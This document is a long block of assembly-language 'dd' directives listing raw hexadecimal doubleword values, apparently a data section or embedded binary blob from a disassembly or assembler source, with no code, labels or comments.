dd 0E63CF290h, 77E78014h, 0FC5C5957h, 2B800FEEh, 56C0892Dh
dd 74CD0D7h, 3EDD2300h, 1EAA39D6h, 0A352399Dh, 40B8BA9Ch
dd 257A124Fh, 0FA008EDCh, 780A5D7Eh, 7CE6FFh, 4660B0F8h
dd 0B7CC44C9h, 6FDF8B1Fh, 0EB566D00h, 60DEF5D8h, 0D2329E85h
dd 0D1626BEh, 840107Bh, 71FECB6Bh, 776600C8h, 0E9E4D1B3h
dd 3FF0B44Ah, 0DBD9BB00h, 2C653E64h, 3325018Dh, 0ED45EAFBh
dd 67C5437Bh, 0E68CE5C0h, 0E057A71h, 9F59DAFEh, 57D8F800h
dd 693BB537h, 600F1169h, 1178C706h, 0D037A71Ch, 0C9A1BE00h
dd 756824F5h, 0FB220086h, 95037FCFh, 0DF140FC7h, 8FDC0Bh
dd 1B3424EFh, 0C2D26h, 0F4050ABDh, 3FFE19CAh, 0D9D78037h
dd 0E6D6CCB1h, 0BD09D740h, 0FE157A8Ch, 0DDFE0581h, 431E9924h
dd 9FB0B880h, 0F183BAD9h, 0A00C4030h, 46F64AA3h, 6907B700h
dd 44CCF306h, 0EC7FE454h, 94760F82h, 0CC0130Eh, 45F8F425h
dd 0E95E6E00h, 6F4A9AAEh, 0F273D18h, 644797h, 1E668DB4h
dd 1317B32Ch, 0E31876AEh, 9A985B0h, 0A5F022FDh, 700882Eh
dd 5D096592h, 0FCD14328h, 2D4A9700h, 5C42B290h, 0C66100EBh
dd 3B5D7737h, 4C4CED8Fh, 0D9E102BFh, 40C30635h, 4F7AC954h
dd 0DA0C0109h, 34A43470h, 0F0012360h, 6C8A6BE2h, 72C57E52h
dd 2F8F8F3h, 827C0170h, 62E21A8Eh, 4647C476h, 0DB248900h
dd 0FD07B0D5h, 0FC190037h, 79AAAF31h, 2C0F267Fh, 78910E20h
dd 0F3D360h, 8DA3B770h, 0C1A0279h, 0A8845A24h, 0A5F19E3Ch
dd 0B15139C0h, 107C0FCh, 0F90FE86Ah, 708C0801h, 5017CD8h
dd 8ED3F833h, 0C960875Bh, 0F0F903E6h, 0EFF4EB54h, 0E71C8096h
dd 0F126C33Ch, 0C1993800h, 0E0DC6813h, 0F054001Fh, 0F9299746h
dd 0E5605505h, 482A9640h, 811B1E8Fh, 0A1B6804Dh, 3E9A0312h
dd 55C22F01h, 0DA0C209Fh, 385E60h, 76927A31h, 7DDC23B5h
dd 0C1B9DD03h, 0B859EEA7h, 0E4218883h, 61C90E4h, 0D5A5EB14h
dd 59004850h, 0A1B13310h, 9EC0C5A7h, 9024D0h, 0D55EA460h
dd 98A091F9h, 760236CEh, 0AA9C5554h, 60BD42DDh, 8B89FBh
dd 0BC85AB63h, 0BA1F0AC4h, 0DB1D68C0h, 60487094h, 0D91740ACh
dd 8B03027Bh, 4C3FE2BFh, 40181DB0h, 2A3CC0D7h, 5AC641FBh
dd 0B986F58h, 0D47BDBh, 7F5EB6F8h, 731109C9h, 0A86B54FCh
dd 9EEC8AA8h, 4A1D6778h, 3940E619h, 8F5BB54Fh, 3B330211h
dd 0C054A9A7h, 0CD351160h, 0BEE4B800h, 39053A4Bh, 8FA80048h
dd 9D5D13C4h, 0E21FC557h, 0CD800F56h, 9440451Bh, 9D03BB5h
dd 0F85CB800h, 81E61739h, 47046A1Eh, 0F4E22580h, 53A6FBh
dd 0AF9BF345h, 2C6DFDB6h, 482DBB0Ah, 1908C00Ah, 62AE8099h
dd 87B63DCDh, 0B4F5CF2Eh, 0C7C06F80h, 5048534Dh, 7D5AD83h
dd 862B079Dh, 0B70BE019h, 9509A618h, 80B1C870h, 149D6333h
dd 43E00123h, 0F15C9EBEh, 0E6EAFCA9h, 0C9E2823Ah, 0FD12007Ch
dd 6C134C58h, 0D55A002Eh, 37DEE531h, 5961E21Eh, 0BFFB02A0h
dd 9F3E0F00h, 0C40DE400h, 4B3AEA55h, 0B69E0549h, 0C24A25BDh
dd 0C860CF74h, 2B0076DEh, 6F8B2FD8h, 6022BEAAh, 0E250D111h
dd 3800B9BCh, 0B1D72AFh, 1351EB4Fh, 150F10h, 0CDD73C0Ch
dd 880961C2h, 20CAAAD8h, 1FC549FCh, 90BAE6EDh, 73A0028h
dd 829C4783h, 34FDEA17h, 64000C80h, 868C5CCAh, 3A35BD4Ch
dd 0A8804914h, 4FFE4B41h, 20004ADh, 0A0E46FDEh, 69CCECh
dd 7E44A371h, 55B89CCDh, 9F1AD12Eh, 0B0372E00h, 6A17E8h
dd 54A30CFDh, 0C1CE9567h, 0F23BAC90h, 97108B6Dh, 62CC04B8h
dd 375214C1h, 2CAD6EE4h, 392D6516h, 6700303Ah, 0BCE60811h
dd 5301D1FBh, 0DF2BD83Dh, 0EC2002D0h, 6BA3000Dh, 0DA4BDD32h
dd 8000147Eh, 0B2226F5Fh, 3D8CEDB6h, 10025960h, 1D67AC49h
dd 0A53F1C40h, 75B9C00h, 17525F78h, 24EB007Bh, 0A2796412h
dd 0FFFC33B6h, 34AFD700h, 0D9DAE635h, 445A0094h, 0DC708C6Eh
dd 0ABF63A1Dh, 0BAAE0E00h, 0DDCE6B34h, 48080067h, 0B96E637Bh
dd 0E500B15Ch, 36599DBEh, 251FFFh, 301699AFh, 3A32EC0Eh
dd 0BC7E0100h, 0D92F5629h, 60620F44h, 1CE0D047h, 0D6807BD5h
dd 0B9387407h, 58A0CB0Ch, 98A4ED56h, 0D06270Ch, 9B502081h
dd 0D7808FDFh, 18AF6094h, 3912598h, 9E2A5630h, 16C0D21Bh
dd 2B7C55F5h, 0A9D48200h, 0A4CC1F05h, 142E00DDh, 0FAAA67DCh
dd 404F9181h, 9600DABCh, 2CD06599h, 0B0274E41h, 0A4C8637Fh
dd 5858A0h, 0F96CEBA7h, 379B39ADh, 675AF3Fh, 0A30F165Fh
dd 2D0E3B10h, 86E7E081h, 0E415264Eh, 0BD0382F6h, 0E1058909h
dd 9F2800A2h, 0EF2D5C29h, 0C3006E73h, 0E01B1882h, 0C91EBB97h
dd 88C45271h, 89FD2D00h, 335DB9E1h, 271E04A0h, 8143AD53h
dd 0C8808490h, 0FB00DF95h, 3D418B1Ch, 2736ECh, 0A29F4FC7h
dd 8189493Bh, 0D025FA07h, 0AE50A750h, 0E438908Ch, 86C5CE1h
dd 8040211Fh, 444C37DDh, 0CC09C273h, 0FF6DD4B3h, 30050187h
dd 7CA3ADFEh, 18045A0Eh, 0A5E24799h, 91CD9CA0h, 691B00BAh
dd 9F15C335h, 0F8014DC5h, 5ADD4B1Eh, 8740E18Fh, 28671F27h
dd 0DC9E92h, 5466EC29h, 434D6FF8h, 40003EEAh, 0AA4BF934h
dd 192266Ah, 0C931F0B7h, 0F07F251Bh, 0E9EED40Ch, 5B0B1F00h
dd 8E04EB5Fh, 98A418h, 46AFD170h, 0FE2FDD42h, 3B1C6459h
dd 8A418178h, 5F6303DFh, 98592460h, 44F600BEh, 8C47E65Eh
dd 34B8BFEBh, 0F200AF7Ch, 432DB6F5h, 0ECBE3AAAh, 0E392FC1h
dd 0B593B880h, 1400F347h, 25C93640h, 0E94CA0h, 8DBFA8Bh
dd 0BCFCC5A6h, 7350CB67h, 0C9EA005Bh, 0E52FE6h, 983A40A0h
dd 2BEDAD17h, 80442339h, 86FBFA31h, 0EEB450F9h, 69870079h
dd 35DCE93Bh, 0AC1F94EBh, 40812180h, 5CD89E38h, 5C3067D4h
dd 9800182Ah, 93780431h, 6C0E97C3h, 20836812h, 0EA2567FAh
dd 1F547175h, 1332B0A7h, 984600ADh, 5BE0CB6Fh, 840B6500h
dd 45526B89h, 19C83CFCh, 0A53C770Fh, 0D7D802E4h, 0C932E014h
dd 0BFE44A36h, 0C2F4C001h, 0E9D30C49h, 0AC53E8h, 0D70EFF1Ch
dd 0D0C53DD6h, 108C2E1Eh, 0F88BDB00h, 946E7076h, 0DF250F6Ch
dd 3ED9C040h, 0C20F4032h, 604BBBCAh, 0E7E83A66h, 79CF0FE4h
dd 0D6E03031h, 5CB7A987h, 64290D01h, 0C6AFD2E2h, 0FA56AF60h
dd 0C9FD090Bh, 9C484109h, 0E2005AEEh, 0DEF9D1C5h, 7C24F75Bh
dd 78C47DBEh, 67787CC1h, 80F610E2h, 94E003F0h, 0BA3C060Ch
dd 94F9D85Ah, 0AE5F6EC4h, 0B880B958h, 0B71EEE9Fh, 0CF00903Fh
dd 0C3DE28F2h, 30AD2E74h, 9418C5B1h, 0EC003B25h, 71EBB9CBh
dd 0C0CAC951h, 55BCF258h, 0A74C570Bh, 4AE41974h, 5840E308h
dd 3FE81CAh, 9F0FBC2Ch, 2112437Eh, 0EC91F723h, 0FFF8E89Ch
dd 0FD0D005Ah, 76F5643Eh, 0B102905Ch, 517BF12Eh, 7D4307h
dd 0E21F928Eh, 773D427Fh, 6B393Ch, 0D25ABF3h, 0BE5F09h
dd 1EE8EDEAh, 5510EBF4h
dd 1450BF03h, 8826F6FAh, 16DDF04h, 9B0B87E3h, 30AED0C0h
dd 10122912h, 14008EA0h, 13D1CE5Dh, 0E00F0085h, 7E4370E1h
dd 440CDDFDh, 0B8E59964h, 150E0052h, 6F8AB989h, 50036F3h
dd 71AD4A18h, 1E1940F4h, 409D65EAh, 1ED90446h, 1801AAD6h
dd 260B5CBAh, 806A2824h, 0B13BA80Ah, 2F032A00h, 71DDE65Fh
dd 6A8B0084h, 79D78DDFh, 0E3006E12h, 26B1B7FDh, 77F3137h
dd 9536BAEh, 500BFBF0h, 35E85300h, 16099277h, 85511F9Bh
dd 6CC44508h, 71370880h, 1577BF5h, 0D3AC7046h, 0D00D7740h
dd 28795B63h, 62A60F1Dh, 2900DD9Dh, 0FC6CA8C8h, 5C6100A1h
dd 0E59803B8h, 0A007426Fh, 990420B1h, 0D83D7F03h, 745F1A52h
dd 727CC3h, 0D93FDAA4h, 0AE018D88h, 87006471h, 0C75B9A76h
dd 0FB3C02h, 3F55B6F2h, 0C4A9E10Dh, 37DA6000h, 0CA461735h
dd 78A20032h, 1018D7EEh, 1F00B58Dh, 7354F79Dh, 0FD819Ah
dd 8986BFD1h, 0E8E24A45h, 0DBAE3413h, 79AD4000h, 4BD839DCh
dd 150127Dh, 2BEE46C0h, 0BF522058h, 3F8B3D07h, 815F8C3Eh
dd 0EAA8E0DDh, 30A58FE9h, 0F27EFC83h, 245F3F90h, 6C6159h
dd 0D81D6D63h, 58597369h, 0A305888Bh, 307D1Fh, 68F8F9AFh
dd 0BB1238CEh, 44B05280h, 83940670h, 5053AD40h, 1D6C6A10h
dd 8CA24B78h, 9C000CD4h, 60E67956h, 9243911h, 5DA27B85h
dd 3934100h, 0BA00C5F0h, 3AB2C467h, 511DCEEh, 5124AF28h
dd 0D08787A1h, 0D158C7ABh, 0D2F5B500h, 86F87673h, 0B25C0397h
dd 3055B8AAh, 0FA800A8Ah, 6D2549FDh, 0B6AEBD00h, 963B41BFh
dd 28896065h, 3E4AEFE9h, 0C4ACB095h, 0C0242545h, 8CF77800h
dd 413910F3h, 0F8D10ED2h, 16D1184Ah, 2E1E0146h, 0B05010D5h
dd 4D9DEC5Ch, 12A320Fh, 7D50D8AAh, 0D81700CCh, 0B49609F8h
dd 1F0021C2h, 0AB7E563Bh, 0ECA06D84h, 0A2600025h, 860774BCh
dd 0FA0045D1h, 76631CC4h, 1F305DABh, 0CAE41AADh, 8B48629h
dd 9F89D866h, 67E4408Bh, 4D5B0004h, 812D12FCh, 0B0B0921Dh
dd 0A7744F0Eh, 26FBE0F9h, 390542Fh, 0C03E1F1h, 1B88801Eh
dd 0BF3FF9A9h, 537F7A1Ah, 606FEB30h, 67C222h, 0CD7E7866h
dd 58AB84DFh, 270E8F00h, 0BAE4F421h, 0DE3A0004h, 0BFCC9768h
dd 0DC001210h, 1461C8C4h, 5AED75E5h, 7F9CBC07h, 0FD7D34B2h
dd 0AFB97203h, 0C0EF293Dh, 1E62C990h, 0C0392836h, 6889AAF5h
dd 1F016C2Dh, 23A64F72h, 0D020E843h, 0BA5900C0h, 0C4843791h
dd 0E24EEE0Ah, 7F541Dh, 0D234390Fh, 38BD88BEh, 8F810DC1h
dd 91799CB7h, 0B468D4h, 0E550FFF6h, 0A384DB6h, 0F38A3207h
dd 16ED03ECh, 29003B0Ch, 0B8DF7B1Ch, 7B98660Ah, 6FBA3BA5h
dd 10B524h, 0DFA90CA2h, 0A4B84EE8h, 0CE97841Dh, 27C0899Dh
dd 0F3B40AE6h, 1BF50059h, 5156E3DEh, 7A3923A0h, 0F9077F1Fh
dd 1A1D2782h, 885059h, 0A42199DAh, 9BF30194h, 8083FC05h
dd 0E8022BC0h, 5F77B1h, 6D4DEC9Ch, 0A7789160h, 413FCBFh
dd 7EE6BB51h, 47A082CCh, 0C7561D60h, 9B4B9700h, 4F0491EDh
dd 90873069h, 54268138h, 8760AD3Ch, 0CD8577C0h, 7ECC61E9h
dd 0A912F140h, 4E463AB0h, 0D94F983h, 0A6D02620h, 0D6002A3Ch
dd 0B7513AF7h, 5019AC54h, 7BD044h, 0F33C4038h, 0E1903565h
dd 800A7D00h, 45917F5Ch, 0FDC30069h, 67DA7447h, 96007751h
dd 0C24CF9FBh, 39FEB62h, 14D293ADh, 8BC072F0h, 0DE1C4DCEh
dd 5FC03961h, 0E3F28D2Ch, 1ED500DFh, 41D5C5Ah, 8F0201DDh
dd 2ABCB16Bh, 0E1306185h, 12016422h, 1989E5FEh, 7460EAF5h
dd 9348AC1Fh, 0C2E01D90h, 9E2BBC4h, 586518B0h, 7B019A3Fh
dd 0A1E7D8EFh, 840C65Bh, 0BB09464Fh, 1A467BDh, 7066CCAh
dd 2434D520h, 28EEBBCh, 5094365Fh, 0FC689068h, 5F57301h
dd 4ACE5B5Eh, 31781880h, 0F130423Dh, 15A61D0Bh, 406E896Fh
dd 840C2AACh, 3BD49F20h, 2900B443h, 880D4056h, 0F005CB5h
dd 34105F78h, 72FA0A9h, 0B4415EF0h, 0EFFA548Ah, 77674180h
dd 961C90FCh, 0CDF0028h, 35142CE1h, 49484B00h, 5C1FC7B1h
dd 0F52200F4h, 0D9A621F8h, 4600BD5Dh, 0EAD38292h, 3ED8F69h
dd 234DEB3Bh, 8A989BF0h, 862637ABh, 0B700D453h, 0A3D9E3C3h
dd 0EDAF00EBh, 24706141h, 0C517520Ah, 0C9006A22h, 603FB62Eh
dd 68DF00B0h, 7B8B43E3h, 20F2A34Eh, 71990B1Fh, 9B415707h
dd 0B6A52F00h, 0DEAA48E6h, 24649625h, 0BAF3313h, 7280705Eh
dd 4247080Ah, 0FD904Fh, 753AEAD1h, 0F8E2E1C6h, 987D5C71h
dd 0E7B7AA00h, 43448078h, 61C1009Fh, 863C3625h, 0BD1727B9h
dd 390048BAh, 4F4B94DBh, 747A00DDh, 51BCC1D8h, 0DF1E3C5Dh
dd 5E81BF61h, 0C71B09C4h, 7FCDEFEDh, 628FF8h, 61F3D0D5h
dd 1EE16D5Bh, 7CEAD400h, 176E1321h, 0FCB0008Eh, 0A31BCFA6h
dd 0C1035AC8h, 1C4B093Ch, 9F94B8FAh, 0A2B50084h, 728AC057h
dd 1803CC21h, 36C31D51h, 5D48C8B2h, 0B93A00B6h, 10833F5h
dd 590315E6h, 3665E1BCh, 0CB31A0BAh, 78A901BBh, 0F926A14Dh
dd 0E5AED423h, 2EC94E00h, 0A24B4761h, 0B7B407CFh, 30676B30h
dd 0B0E0D4AAh, 54573400h, 0E1DE9B32h, 257707D9h, 23501DE9h
dd 0A00781F9h, 0FE4807BAh, 99C6CBC0h, 256D3F56h, 0C868B683h
dd 0C8095038h, 83616575h, 3C853C2Bh, 0E4002D10h, 0E7714620h
dd 0BB0121FBh, 7B69123h, 1FF1FE09h, 7A3999DCh, 8468C0C1h
dd 813F4BFBh, 5D43A900h, 3E4788CEh, 0D7DC00BFh, 36CB5FF0h
dd 210F2EA1h, 251B601h, 81CE3858h, 56B83020h, 792BAC50h
dd 74417996h, 3E432A70h, 80680034h, 0B3B7CA7Eh, 0A73D463h
dd 3AF4F17Bh, 7487AB1Eh, 7CAAD9C0h, 1EA4AEh, 39D3C1CFh
dd 0FB461A31h, 97E1E000h, 758ABE29h, 0FC7B7564h, 79300947h
dd 6C002F62h, 0B0E25D4Bh, 6C48100h, 24BBED28h, 0C33400B2h
dd 4C29ABD2h, 521F1B40h, 0E80A06Fh, 0F30DAFE6h, 845C00CBh
dd 3562E423h, 9AE4DC2Dh, 0FBBA3300h, 15B151FDh, 18313CA2h
dd 4C91B780h, 1AC82F3Fh, 0FC98D00h, 454E13F8h, 0ABFA0054h
dd 88A58C97h, 0B60EBFBEh, 7F4C01E0h, 3BF0BA95h, 0A1DC0068h
dd 196FC65Ah, 0E15302C1h, 3EBE3D94h, 0D7209840h, 134EA200h
dd 272CA602h, 0F46D247Ah, 77A30080h, 1F1BEF6Ah, 0EEA0C200h
dd 0D6CF219Fh, 4F3403CEh, 33CB25A4h, 238C7BC0h, 3F948324h
dd 0CEC61A1Dh, 974E86CCh, 4A11E980h, 0BD5CC089h, 41B00ADh
dd 94A97D31h, 5EA6003Bh, 0B538DF96h, 82033632h, 0DBA314D9h
dd 60FFD791h, 15AA9384h, 8AFEB9h, 13BA2B80h, 0F4382E04h
dd 87008B79h, 1FABD8D5h, 0CD574Fh, 0DEDF89A5h, 669972E9h
dd 0B9922F00h, 0B00E32B6h, 0C188007Eh, 56F26CCEh, 0CFF27F3Bh
dd 0F1E45D01h, 0ED9CB0FCh, 8F82D0h, 4B7D80D1h, 1CADCA36h
dd 0E0336200h, 0D97ADF42h, 2415018Eh, 5DD25B0Ch, 0DFDFCCAh
dd 69789574h, 941FB200h, 328505FBh, 10DD003Fh, 7CAE1B54h
dd 77009042h, 7D4D9D4Fh, 764BEFDCh, 94A80017h, 0A708B7EBh
dd 0B890CCABh, 5CDA200h, 6F1DC0AEh, 0B3800097h, 0DD5E2D9Dh
dd 7B016228h, 0B7BF6E0Ch, 0DE60FC2Ah, 51A509B4h, 9820BE46h
dd 56B20EEBh, 80D3AF00h, 24A73499h, 3D9B3E50h, 0C14216h
dd 1FA6EBE0h, 0CB01874Bh, 0C62D0161h, 9EE8A46Eh, 38146038h
dd 9172F24Dh, 666B1C00h, 0D3A54846h, 0B51500D9h, 35945902h
dd 1000F586h, 9D31EAB4h, 88D490h, 0ABB9FA36h, 7B2FDFE9h
dd 0FCC404C0h, 1FE359Eh
dd 5063231Fh, 31D3A62Dh, 4759EC88h, 0F474F800h, 19F20FDCh
dd 0C6E20062h, 7C0CB79Ch, 0D10740EDh, 6910F6D4h, 6EA0582Fh
dd 0EAEED3h, 1A92A3FEh, 0B52F19BCh, 50372D00h, 8F1D8261h
dd 1F5FE625h, 0C1D96BFDh, 693DC7Ch, 2C20309Dh, 0CCB07813h
dd 51EA2900h, 0AA1D5676h, 0CADC4890h, 8A7000E2h, 7FF664Eh
dd 0D70185C3h, 58417CDAh, 687055B8h, 817D71h, 1FC0822h
dd 856C83B7h, 0A2E99100h, 0DFEFA4B3h, 623E3F84h, 0ABC4EE03h
dd 3BF0AC99h, 25009CF6h, 0A5A871B9h, 0B823A439h, 0EDEB0047h
dd 0A1F1FC66h, 0B005E4Ch, 45212002h, 7CB4206h, 0B1BDB826h
dd 95CCDE73h, 0BC44F0D8h, 0A7220041h, 7A8F0382h, 5200303Eh
dd 54AFF0C7h, 0FBCCDEh, 0ED637662h, 0B48518A3h, 444D1100h
dd 81AF8DF3h, 62C10022h, 0DB802BADh, 800A6E8h, 0BAEC21CEh
dd 0FA314Bh, 0E2D5E4FFh, 0A038F618h, 2081D903h, 9AB7884Dh
dd 0BB6DE0BEh, 3A5601CCh, 0C79CEDD7h, 2804D88Dh, 530D000h
dd 0D1D6B7E9h, 3543F18h, 0F9079FDCh, 30F1B1A6h, 30DD49F0h
dd 0B2DB4500h, 9821655Ah, 0BA3938AAh, 0A0EA1B13h, 843B53F9h
dd 0C16BA696h, 0B8B08803h, 91AEE876h, 0E4F900D9h, 0D02D03C9h
dd 7E0050E6h, 7826274Bh, 2F5F07h, 0DC618699h, 0EFC5EC8Ch
dd 3151D717h, 7B725500h, 0C65CA4h, 2157C0D6h, 0DBAC123Bh
dd 35E0280Eh, 2158EE2Eh, 67959269h, 1C04FECh, 3CAD5627h
dd 0BB45D589h, 0D0C80019h, 1184C9EAh, 3B313A62h, 25DD5F80h
dd 0AF6E7E29h, 0CF8A0E00h, 0D8E69D33h, 94650E8Ch, 82E0C808h
dd 1FF79302h, 87CEAF3Eh, 0E3CF8936h, 0F52CFDC0h, 9CA8030Eh
dd 3DBB8A61h, 26C14F90h, 123589Fh, 0B0DDA521h, 405566ECh
dd 9DEDB290h, 0C6043F00h, 0FEFDAF12h, 83D50113h, 1B21A834h
dd 4755EC18h, 3200417Bh, 46E64B11h, 0C4986Ch, 6F7FF892h
dd 99EBC2A6h, 57655800h, 0DF68D083h, 71523C04h, 4A628102h
dd 0A880B809h, 36E9AC37h, 0D2BE4801h, 0B541C539h, 3E73B2DCh
dd 29E7CE9Ah, 342B101Ah, 0DE028105h, 0BA4B07A3h, 9EC80EBh
dd 0B22714h, 0DD59B18Dh, 0D4F457FBh, 22C1A200h, 0C9B879E6h
dd 10A06F30h, 0DF1F49E0h, 750F0E86h, 43C3A60Fh, 485CB748h
dd 0FF00B120h, 0F0F92FBCh, 640F8075h, 40572070h, 65B88405h
dd 395EE9Fh, 4212EEF1h, 8800ED0Dh, 0FCFD85DEh, 0E99EFECCh
dd 153C60h, 3A4E1E32h, 0AD1C3DA6h, 0D6DB2C01h, 3621C208h
dd 779EECh, 0FC634FF8h, 8C2B4E94h, 38000C90h, 0FD51D556h
dd 39FF9CBh, 5B457DE3h, 200190AAh, 65B2A39Ch, 0FEE85D46h
dd 625282Eh, 677300D0h, 980A20C5h, 45007F8Dh, 805B88FAh
dd 31F4394h, 99085D29h, 30037915h, 0FF565F41h, 4B114C6Fh
dd 43E46900h, 97454449h, 0F164190Eh, 4235034Dh, 6F6298CAh
dd 141B00D1h, 5827A9ADh, 831C2595h, 9B40EFF3h, 20B74F80h
dd 0D378009Ah, 7AEBA16Ah, 70001CC6h, 213D49FCh, 3D404A39h
dd 0F23AD5B1h, 439B2B00h, 735A687Fh, 32108B00h, 411869DBh
dd 0D85D003Ah, 0BA625390h, 0D4007D08h, 0F86EB8A9h, 17D64Ch
dd 0A537C858h, 0C61D9F90h, 48A8EB01h, 786509C9h, 0C80720h
dd 0E4174591h, 0BFEAB18Ah, 0BC00D3E0h, 95503AFCh, 3EDD19B6h
dd 5B80AEFFh, 0BD8EEDD9h, 0EB0F865Ah, 0A1478FBBh, 0BE4A8402h
dd 0F98B820h, 27DBF9A9h, 5F447FE0h, 0DD1EFC94h, 6D408535h
dd 2588D7E2h, 98BE659h, 48922BF5h, 3DB9B100h, 5200D572h
dd 6DB29CC9h, 0EE3606B1h, 60800085h, 2C10CAA7h, 553FE4CCh
dd 89A60058h, 0C19D6141h, 71813F8Bh, 76675B00h, 0D985FECBh
dd 0ABD6B400h, 0DE16FC7Ah, 8AB80F34h, 2420579Ch, 70F04DD2h
dd 82525904h, 88D0C47Ch, 2EBFD46Eh, 0B222A93h, 330360B4h
dd 0B3CFE0C7h, 1DC0734Ah, 9CE668CEh, 0A2724D00h, 0FDFED02Fh
dd 7A550093h, 82D4147Eh, 5C789B80h, 0DE5F7D00h, 7381E413h
dd 683760E0h, 57A3D6ECh, 863E1C73h, 9831EB7h, 790C014h
dd 58D481CBh, 2898EC86h, 2E1CF9D3h, 0E818EB2h, 118EC6BDh
dd 0A1D4BF82h, 0A0CA108Eh, 0C8D5001Ch, 0D0CB4F50h, 0EA0349E8h
dd 0E4D3CC46h, 0A859F009h, 0F71F0074h, 0C4BD2882h, 9B003E30h
dd 69F9D4B7h, 0E32A3A9h, 61BF58D5h, 8A546880h, 503878Eh
dd 479E8013h, 8777E2C0h, 0A02E8438h, 63B752A9h, 0CF9700EAh
dd 2ACD3330h, 0E1009A3Ch, 0FF1805C3h, 266B72Dh, 0B9BD1BB6h
dd 8C98ABD4h, 4503575Ah, 58BE1738h, 6284A060h, 55D09092h
dd 72CCD4E1h, 3F30DE37h, 88C1A78Eh, 0ADA8A360h, 0C056203h
dd 2078D8Bh, 220EC700h, 930DECh, 1718321Ch, 853D4BEEh
dd 9BE56E01h, 1B82368Eh, 0D321C8FBh, 5837F2F2h, 6A00199Ch
dd 0CC63B090h, 1E009381h, 0FA4E538h, 0E8D00E5Fh, 544C0016h
dd 0D73B036Bh, 8C1B6DC7h, 0E8A9EBCEh, 0F580DBCh, 0E804FCD0h
dd 0B9A2E686h, 0AB21B00h, 8CB37AFh, 66D3E850h, 21450820h
dd 0AF109100h, 0D1F62E84h, 194A60A2h, 0C5B6CC0h, 42BF2907h
dd 72A09F7Ch, 0E6CFD844h, 485518C3h, 8D9C811Fh, 2E385360h
dd 2CB2EF47h, 15813Dh, 0F8156AC2h, 602C16D9h, 0C5188A0Dh
dd 0E81DECB9h, 56E33085h, 113C0B11h, 0AEBD0E12h, 0F7D45806h
dd 21CD6008h, 91133F2h, 6EEA9500h, 0CCF9D5BFh, 1EA13047h
dd 0A055AA58h, 3E84D852h, 0F02C381h, 70CB3CAFh, 94107E31h
dd 4C03AF75h, 6ACF51D2h, 9C84C126h, 905880FAh, 1F08BFBCh
dd 4E3629D0h, 48A3B158h, 580C3204h, 8906D9B7h, 0DDE420F5h
dd 0CD36C97Ch, 0E4F01874h, 2593050h, 6A5ABE10h, 8264F100h
dd 2F24EE42h, 3C26F632h, 8107F984h, 60AE8396h, 0A7D9EC4Eh
dd 3A928800h, 0E1357E89h, 0E8EA0028h, 0AC78725Ch, 41482CFBh
dd 8B3A2C4Dh, 54405507h, 60AD7D60h, 0A2F895EDh, 5F1D6500h
dd 8930E267h, 904703E6h, 21D68F93h, 54B05CE8h, 28EF8607h
dd 0C6D06A7Bh, 7B519971h, 443A3CA6h, 0DB20DA80h, 0BBACB7DCh
dd 34D85F07h, 0E600184Fh, 897864h, 0DAC99FF1h, 0F362778Ah
dd 4F073800h, 0C1ABF72Eh, 138000AAh, 8B30ACE8h, 0B3E3C46h
dd 6D4500DAh, 72BA3EA2h, 8A6F0E92h, 0FC60BEABh, 0D14E309h
dd 0B4502201h, 3ED17CE6h, 71B2C1D4h, 570E090h, 0E9603C77h
dd 2C4380F4h, 0AD00ECA3h, 7DFE89DCh, 1A8BC71h, 54D9ABC5h
dd 0C022D3A7h, 8F07B6B1h, 0D63A0B4Fh, 80F27323h, 1625FEEAh
dd 149BB43Dh, 83386545h, 0DF0FA43Bh, 13006DD2h, 148F12A3h
dd 874A3Eh, 0C6A4615Bh, 5E3830h, 0C72A76E9h, 0F7EA8B82h
dd 740ED801h, 0DAE7716Eh, 37EF920h, 0B7EDE099h, 13EB64C1h
dd 0BC703Dh, 0D7CA4BD8h, 0E48F23CFh, 5F9D0796h, 139A70D2h
dd 0BBE061E6h, 0F500EDC9h, 8AE7E3EEh, 487C718Dh, 0DA0100FEh
dd 28D5AA75h, 0D85CE10Ah, 0D7069DF9h, 12FD6634h, 31410768h
dd 0B0AB630Fh, 6AA38368h, 1A653C00h, 0D83DA1F3h, 86E30091h
dd 88A21237h, 1D016E48h, 4FD3329Ah, 0F761117Dh, 7B99F0h
dd 2C5D771Ah, 4936C894h, 7609042Eh, 5FC0CC02h, 0BCD8C0EDh
dd 0F8AC00E1h, 0E280D53Fh, 0DCB42DDEh, 345BB400h, 696D18h
dd 271F0608h, 0BCA81691h, 52FF0117h, 74811100h, 0FCE09FCAh
dd 0C83C00EFh, 5FA443A3h, 1F07C4AEh, 5A5514C5h, 326FE01Fh
dd 0AB09407h, 1B73A831h, 0ABD1009Ch, 2A6E2D4Eh, 6FF7C14h
dd 25831E84h, 0DE937B4Eh, 9F8A3A80h, 0A8C20F7h, 38AAA174h
dd 73FD00A8h, 3035264Ch
dd 51B4E800h, 0DB2347EFh, 0A1D100AEh, 0B6E72A48h, 9200031Ch
dd 7B12663Eh, 5AF0BAh, 0BE7251CDh, 249AAAB0h, 0B50B4805h
dd 0E840E0F4h, 39D70DE5h, 559418EEh, 8DCCD65Dh, 0C3600900h
dd 0BA46ED59h, 0C76D00D9h, 39157623h, 8107B8E6h, 0C5DB02D0h
dd 6819E480h, 69B101A0h, 4934EB7Bh, 0FA5BE46Eh, 33508700h
dd 4191718Eh, 0C6D0C02Dh, 0D8E8A87Ch, 0A4C7C824h, 245EDD00h
dd 0F3051Eh, 0E906036Fh, 5BA13595h, 680D1600h, 0F585CEB5h
dd 9E481D9Ah, 47458041h, 0AD24E33Ah, 0D7010490h, 8BEB2C02h
dd 34248491h, 1876E0E4h, 1011B8B3h, 0A9021FCEh, 0A6ADAE5Ch
dd 0F35C408Ch, 0AA888BFDh, 0D4783062h, 269AE400h, 0A759615Dh
dd 77527CDDh, 691E01B2h, 2291EB23h, 9E4C20F7h, 6CB81F03h
dd 986FB6FFh, 78269Fh, 0ED9C65A8h, 3BDA98A1h, 4E31AC07h
dd 0F6B64BE6h, 0D40F0038h, 0AEA7FC6Dh, 0A600E4ABh, 8AFE2DB7h
dd 334A171h, 1AA9655h, 0E0C76B6Ah, 425D3C84h, 17A7D41Ch
dd 4E2BCC80h, 7191AF0h, 0E5F810C9h, 60C2040h, 3100C4A5h
dd 5C0238DEh, 0E25491D2h, 0BB621D4Ch, 0DF4E0959h, 0B617890h
dd 7CDC003h, 0BFDB10D6h, 2C03BB9h, 2CF1BD41h, 34607052h
dd 802C083Ah, 0C70021C8h, 61257239h, 0AF6700A1h, 0AC0E5E8Fh
dd 0D7739B47h, 16DF7600h, 3D9E68F1h, 1DCFFC58h, 66E77431h
dd 1D02033Dh, 68D0AD97h, 2F1F3A09h, 0EA641880h, 23C59204h
